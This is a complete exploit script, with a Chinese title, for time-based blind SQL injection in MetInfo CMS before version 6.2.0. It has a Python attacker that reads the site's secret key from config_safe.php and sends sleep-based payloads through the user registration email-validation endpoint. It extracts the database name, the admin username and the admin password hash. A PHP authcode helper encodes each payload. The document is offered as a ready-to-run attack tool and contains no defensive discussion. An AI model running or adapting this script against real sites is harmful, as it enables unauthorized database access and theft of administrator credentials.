metinfo小于v6.2.0版本SQL盲注利用脚本

#coding=utf-8

import requests

import re

import sys

import time

#获取config_safe.php中的 key

def getKey(url,headers,local_url):

	try:

		url_key = url + "/config/config_safe.php"

		rsp = requests.get(url_key,headers)

		p = re.compile(r'<\?php\/\*(.*)\*\/\?>')

		p1 = p.findall(rsp.text)

		key = p1[0]

		databaseLen(key,headers,local_url,url)

	except:

		sys.exit("The website is secure!!")

#获取数据库长度

def databaseLen(key,headers,local_url,url):

	for str in range(1,21):

		len = '%d'%str

		payload = "1%27%20or%20if((select%20length(database())="+ len +"),sleep(5),1)%23"

		back_str = queryKey(key,headers,payload,local_url,url)

		if back_str is True:

			break

	databaseName(len,key,headers,local_url,url)

#爆出数据库名

def databaseName(len,key,headers,local_url,url):

	len = int(len)

	chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加字符量

	database_name = ''

	for i in range(len):

		ch = i + 1

		ch = '%d'%ch

		for char in chars:

			payload = "1%27%20or%20if((select%20mid(database(),"+ ch +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"

			back_str = queryKey(key,headers,payload,local_url,url)

			if back_str is True:

				break

		database_name = database_name + char

	print("数据库名字为：%s"%database_name)

	adminName(database_name,key,headers,local_url,url)

#爆出管理员用户名

def adminName(database_name,key,headers,local_url,url):

	#首先爆用户名长度

	for i in range(1,20):

		len = '%d'%i

		payload_len = "%27%20or%20if(((select%20length(admin_id)%20from%20"+ database_name +".met_admin_table%20limit%200,1)="+ len +"),sleep(5),1)%23"

		back_len = queryKey(key,headers,payload_len,local_url,url)

		if back_len is True:

			break

	#在爆出用户名

	chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加

	admin_name = ''

	for x in range(i):

		str = '%d'%(x+1)

		for char in chars:

			payload_str = "1%27%20or%20if((mid((select%20admin_id%20from%20"+ database_name +".met_admin_table%20limit%200,1),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"

			back_str = queryKey(key,headers,payload_str,local_url,url)

			if back_str is True:

				admin_name = admin_name + char

				break

	print("管理员用户名为：%s"%admin_name)

	adminPass(key,headers,local_url,url,database_name,admin_name)

#爆管理员密码

def adminPass(key,headers,local_url,url,database_name,admin_name):

	chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.'#可自行添加

	admin_pass = ''

	for i in range(1,33):

		str = '%d'%i

		for char in chars:

			payload = "1%27%20or%20if((mid((select%20admin_pass%20from%20"+ database_name +".met_admin_table%20where%20admin_id=%27"+ admin_name +"%27),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"

			back_str = queryKey(key,headers,payload,local_url,url)

			if back_str is True:

				break

		admin_pass = admin_pass + char

	print("管理员密码md5为：%s"%admin_pass)

#获取encode后的数据

def queryKey(key,headers,str,local_url,url):

	payload = "key="+key+"&str="+str

	rsp = requests.post(local_url,headers = headers,data = payload)

#	str = rsp.url

#	data = str.replace('+','%20').replace('%28','(').replace('%29',')').replace('%3D','=').replace('%2C',',')

#	print(data)

	return getTestUrl(url,rsp.text,headers)

#获取需要测试的URL

def getTestUrl(url,payload,headers):

	params = "p="+payload

	test_url = url + "/admin/index.php?n=user&m=web&c=register&a=doemailvild"

	return getData(test_url,params,headers)

#获取数据

def getData(url,params,headers):

	startTime = time.time();

	rsp = requests.post(url,data=params,headers=headers)

	if time.time() - startTime > 4:

		return True

	else:

		pass

if __name__ == '__main__':

	headers = {

		"Content-Type":"application/x-www-form-urlencoded",

		"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",

		"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

		"Accept-Language":"en-US,en;q=0.5"

	}

	url = input("please input URL:")

	if "http://" or "https://" in url:

		local_url = input("请输入本地搭建的encode函数地址：")

		getKey(url,headers,local_url)

	else:

		print("please input the correct url!!")　　

<?php

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){

		$ckey_length = 4;

		$key = md5($key ? $key : UC_KEY);

		$keya = md5(substr($key, 0, 16));

		$keyb = md5(substr($key, 16, 16));

		$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

		$cryptkey = $keya.md5($keya.$keyc);

		$key_length = strlen($cryptkey);

		$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

		$string_length = strlen($string);

		$result = '';

		$box = range(0, 255);

		$rndkey = array();

		for($i = 0; $i <= 255; $i++) {

			$rndkey[$i] = ord($cryptkey[$i % $key_length]);

		}

		for($j = $i = 0; $i < 256; $i++) {

			$j = ($j + $box[$i] + $rndkey[$i]) % 256;

			$tmp = $box[$i];

			$box[$i] = $box[$j];

			$box[$j] = $tmp;

		}

		for($a = $j = $i = 0; $i < $string_length; $i++) {

			$a = ($a + 1) % 256;

			$j = ($j + $box[$a]) % 256;

			$tmp = $box[$a];

			$box[$a] = $box[$j];

			$box[$j] = $tmp;

			$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

		}

		if($operation == 'DECODE') {

			if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

			   return substr($result, 26);

			} else {

			   return '';

			}

		}else{

			return $keyc.str_replace('=', '', base64_encode($result));

		}

	}

print_r(urlencode(authcode($_POST['str'],'ENCOUDE',$_POST['key'],0)));